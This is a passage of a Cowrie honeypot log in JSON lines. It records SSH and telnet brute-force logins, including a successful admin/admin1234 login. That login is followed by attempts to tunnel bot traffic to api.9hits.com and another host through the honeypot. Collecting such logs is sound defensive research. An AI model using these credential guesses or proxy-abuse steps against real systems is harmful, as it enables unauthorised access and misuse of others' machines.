0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:12.196644Z","src_ip":"123.27.168.40","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34868,"dst_ip":"159.203.135.109","dst_port":23,"session":"949897baae1c","protocol":"telnet","message":"New connection: 172.81.62.90:34868 (159.203.135.109:23) [session: 949897baae1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:12.288476Z"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:12.565956Z","src_ip":"123.27.168.40","session":"4ad27ef7a8a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.1","message":"Connection lost after 17.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:15.797986Z","src_ip":"23.175.50.47","session":"aea554d1d323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":36164,"dst_ip":"159.203.135.109","dst_port":22,"session":"eda7482af34f","protocol":"ssh","message":"New connection: 103.15.222.183:36164 (159.203.135.109:22) [session: eda7482af34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:24.701879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:24.705873Z","src_ip":"103.15.222.183","session":"eda7482af34f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:24.963580Z","src_ip":"103.15.222.183","session":"eda7482af34f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"makaron","message":"login attempt [root/makaron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:25.740134Z","src_ip":"103.15.222.183","session":"eda7482af34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:26.999566Z","src_ip":"103.15.222.183","session":"eda7482af34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.65770125389099,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:36.629965Z","src_ip":"172.81.62.90","session":"1f05f81e52fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55826,"dst_ip":"159.203.135.109","dst_port":23,"session":"4680c4a67f9b","protocol":"telnet","message":"New connection: 172.81.62.90:55826 (159.203.135.109:23) [session: 4680c4a67f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:38.044450Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34186,"dst_ip":"159.203.135.109","dst_port":23,"session":"139e696c64f2","protocol":"telnet","message":"New connection: 128.199.8.54:34186 (159.203.135.109:23) [session: 139e696c64f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:40.557389Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55848,"dst_ip":"159.203.135.109","dst_port":23,"session":"3af33baace0c","protocol":"telnet","message":"New connection: 172.81.62.90:55848 (159.203.135.109:23) [session: 3af33baace0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:41.975399Z"}
{"eventid":"cowrie.session.closed","duration":38.85291910171509,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:20:51.141291Z","src_ip":"172.81.62.90","session":"949897baae1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62789,"dst_ip":"10.17.0.5","dst_port":22,"session":"66fcc38ac6da","protocol":"ssh","message":"New connection: 123.27.168.40:62789 (10.17.0.5:22) [session: 66fcc38ac6da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:00.240010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:00.248398Z","src_ip":"123.27.168.40","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:00.633951Z","src_ip":"123.27.168.40","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:01.985193Z","src_ip":"123.27.168.40","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:02.358153Z","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:02.496278Z","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:02.769985Z","src_ip":"123.27.168.40","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; Honor 30 Lite) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PlUoQXVPXjN7R1pLdThXRw%3D%3DofEYvhUh9YYwUA5pT0qvByS5rHMMUEI%2BJfdKMQ%2ByGJ9cMQ3FMm0L7pHHJRAZd%2BfYfDEMxMjDWV1icOYu%2FsdYuDakxKeySZ5a624WGQCLoAZztb9nD8jZX062TX6zK2M2nqoMcfOjllAV%2FhE1ECe2sVDYbzerMXpjLgI68xejiEy6%2BMwz5oeYmQjccH2hDvxbHwsZmIS0Rk3u7aMNwR6FxzfHQH0gq2IYFYXtnlRIv%2FpyUqEYj%2F%2Fmm1Fdi7lcQVS58wqimzwLRNPf0BeNLvEne5Si3ixRYNPwTSYqjv7P60sz7GrrjenrJmWBfjSZSeA38Yyb%2BSvCQaeo65qR1SeUgEfZ9nDCrfd3V6Y6fofzJCkLrp5iDjJWhs11ohHwyJt0JiUtKRvBkPda0e6Ql%2BQghThUDihYnjEw17mIzbQpuXcP2l4KJLRI3S3uRRWX8NMhYtogwe%2BejSvG33zPHQ331jfYmGBCCSyjabkRwPMoglc0W7Ar1PzcuKyM59apv%2FgvciifK3eVHqASwkuFHgJnJQQgCqWf60ObbOoSCctEsgUwikFhXzdv8S4OGpUnNNQP87L%2B2NnnMqzhOwH%2Fr3tCEqyBspCebijYjmOT1Jbt2nQr95ubNaXGCjDhIsymhs8bGDXocArssKduOzV6HmBSuyGg%2FhcdiVLqjbG%2BsCmBKGSYCjpje%2BWh25K6H332UBsoEW90kRL1foixt7hmopMTH%2BjdzENwg8J2WDTsc2pTe%2FICGtSv2MFk5wyxYYa9HuLSatXeC5e3z2cOPit7vzfr8tsLvpDtE%2BjCFAG8%2FJQKXmh%2FtxjQ43d7etvHZL3iAp8vlvB%2BKeGQObQP4%2FMKpNh0%2BkeJmXPgv4rcbxOHzclW8IOzjcytmOBvIIW71n2T%2Fx5%2BUTkq65fT%2BVJ3OsdtImbwn4kqA9BrOaNyTNkE%2BTsaeI4fk6KRaSrFRaLh73ft7Bf2Ga%2BuI87mqAAEe5iPDfiWZn8Rco64GAu%2B2jY5hyQs1dGcJRXoHmCvT1EsbjmNiKl5EHL%2BpZgiKZyaMZo18xHGl0GeNExwQO04cVK9J%2FQr%2Fx4%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; Honor 30 Lite) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PlUoQXVPXjN7R1pLdThXRw%3D%3DofEYvhUh9YYwUA5pT0qvByS5rHMMUEI%2BJfdKMQ%2ByGJ9cMQ3FMm0L7pHHJRAZd%2BfYfDEMxMjDWV1icOYu%2FsdYuDakxKeySZ5a624WGQCLoAZztb9nD8jZX062TX6zK2M2nqoMcfOjllAV%2FhE1ECe2sVDYbzerMXpjLgI68xejiEy6%2BMwz5oeYmQjccH2hDvxbHwsZmIS0Rk3u7aMNwR6FxzfHQH0gq2IYFYXtnlRIv%2FpyUqEYj%2F%2Fmm1Fdi7lcQVS58wqimzwLRNPf0BeNLvEne5Si3ixRYNPwTSYqjv7P60sz7GrrjenrJmWBfjSZSeA38Yyb%2BSvCQaeo65qR1SeUgEfZ9nDCrfd3V6Y6fofzJCkLrp5iDjJWhs11ohHwyJt0JiUtKRvBkPda0e6Ql%2BQghThUDihYnjEw17mIzbQpuXcP2l4KJLRI3S3uRRWX8NMhYtogwe%2BejSvG33zPHQ331jfYmGBCCSyjabkRwPMoglc0W7Ar1PzcuKyM59apv%2FgvciifK3eVHqASwkuFHgJnJQQgCqWf60ObbOoSCctEsgUwikFhXzdv8S4OGpUnNNQP87L%2B2NnnMqzhOwH%2Fr3tCEqyBspCebijYjmOT1Jbt2nQr95ubNaXGCjDhIsymhs8bGDXocArssKduOzV6HmBSuyGg%2FhcdiVLqjbG%2BsCmBKGSYCjpje%2BWh25K6H332UBsoEW90kRL1foixt7hmopMTH%2BjdzENwg8J2WDTsc2pTe%2FICGtSv2MFk5wyxYYa9HuLSatXeC5e3z2cOPit7vzfr8tsLvpDtE%2BjCFAG8%2FJQKXmh%2FtxjQ43d7etvHZL3iAp8vlvB%2BKeGQObQP4%2FMKpNh0%2BkeJmXPgv4rcbxOHzclW8IOzjcytmOBvIIW71n2T%2Fx5%2BUTkq65fT%2BVJ3OsdtImbwn4kqA9BrOaNyTNkE%2BTsaeI4fk6KRaSrFRaLh73ft7Bf2Ga%2BuI87mqAAEe5iPDfiWZn8Rco64GAu%2B2jY5hyQs1dGcJRXoHmCvT1EsbjmNiKl5EHL%2BpZgiKZyaMZo18xHGl0GeNExwQO04cVK9J%2FQr%2Fx4%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:02.775276Z","src_ip":"123.27.168.40","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:02.987874Z","src_ip":"123.27.168.40","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03S\\x15\\xafa\\xed\\x82\\x84\\xd8\\xf0b\\xff\\xb1\\xa5R\\xf8}~\\xd4\"\\xa5\\x8d\\'\\xdb\\xd1\\x00\\xe3%\\x7f\\xfe\\xa3\\x12( A|\\xb6\\x0c\\xb1\\xd0\\x87\\xde\\x18\\xf0\\xff\\xa6\\xda\\xf3\\x8dQ\\xe70\\xdc\\'\\x8fh{\\xf5\\x88\\xe7\\xfb\\xa8\\xfc\\xd2\\x80W\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x87$\\x1ceoXWu\\x84u)\\xc76\\x1d\\xe6\\xa2^\\xccD\\x9db\\x1cp\\xbe\\xff\\x97\\x98\\xcc\\xb37\\x8b\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03S\\x15\\xafa\\xed\\x82\\x84\\xd8\\xf0b\\xff\\xb1\\xa5R\\xf8}~\\xd4\"\\xa5\\x8d\\'\\xdb\\xd1\\x00\\xe3%\\x7f\\xfe\\xa3\\x12( A|\\xb6\\x0c\\xb1\\xd0\\x87\\xde\\x18\\xf0\\xff\\xa6\\xda\\xf3\\x8dQ\\xe70\\xdc\\'\\x8fh{\\xf5\\x88\\xe7\\xfb\\xa8\\xfc\\xd2\\x80W\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x87$\\x1ceoXWu\\x84u)\\xc76\\x1d\\xe6\\xa2^\\xccD\\x9db\\x1cp\\xbe\\xff\\x97\\x98\\xcc\\xb37\\x8b\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:02.991508Z","src_ip":"123.27.168.40","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:03.448414Z","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:21:03.680297Z","src_ip":"123.27.168.40","session":"66fcc38ac6da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9\\x12a*\\x8c\\xbaLw}\\xeb\\x81\\x99\\xa78^\\\\h\\x95\\xcb\\xf1\\xb9\\xcciW\\x9c\\xae,\\xbb\\xbdEXB 4\\r+\\x1c\\xb7>\\xd6\\xd9\\xea\\x81\\x17K\\x08*\\x0f`\\x8e\\xf0\\xd3V\\x05}\\n\\xf2P{\\\\\\x9c l\\x89n\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 xL\\xe1\"}\\xeb\\xfc\\xe8\\x03-\\xb5\\x07\\xdcs\\xd9\\xb3\\xd2*\\xd4\\x9f\\xcf\\xfdx\\xefS\\xdc\\x10&C`\\x9ej\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\